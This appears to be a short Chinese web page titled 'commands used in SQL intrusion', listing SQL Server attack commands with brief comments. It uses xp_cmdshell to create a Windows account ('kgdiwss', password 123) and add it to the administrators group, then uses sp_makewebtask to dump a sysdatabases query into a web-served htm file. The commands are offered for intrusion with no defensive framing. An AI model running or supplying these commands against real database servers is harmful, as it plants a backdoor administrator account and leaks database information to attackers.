sql入侵中用到的一些命令

sql入侵中用到的一些命令
/*
* 功能:通过xp_cmdshell执行命令
* 本例:添加一个系统帐号,并加入管理员组.
*/
exec master.xp_cmdshell 'net user kgdiwss 123 /add'
exec master.xp_cmdshell 'net localgroup administrators kgdiwss /add'


/*
* 功能:将执行结果写入htm文件
* 注意:文件夹需要有写入的权限.
*/
exec sp_makewebtask
"F:/wwwroot/kgdiwss/test/result.htm",   /* 写入路径,也可以是http地址 */
"SELECT * FROM sysdatabases"       /* 要执行的sql语句 */
<script type="text/javascript"> </script> <script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"> </script>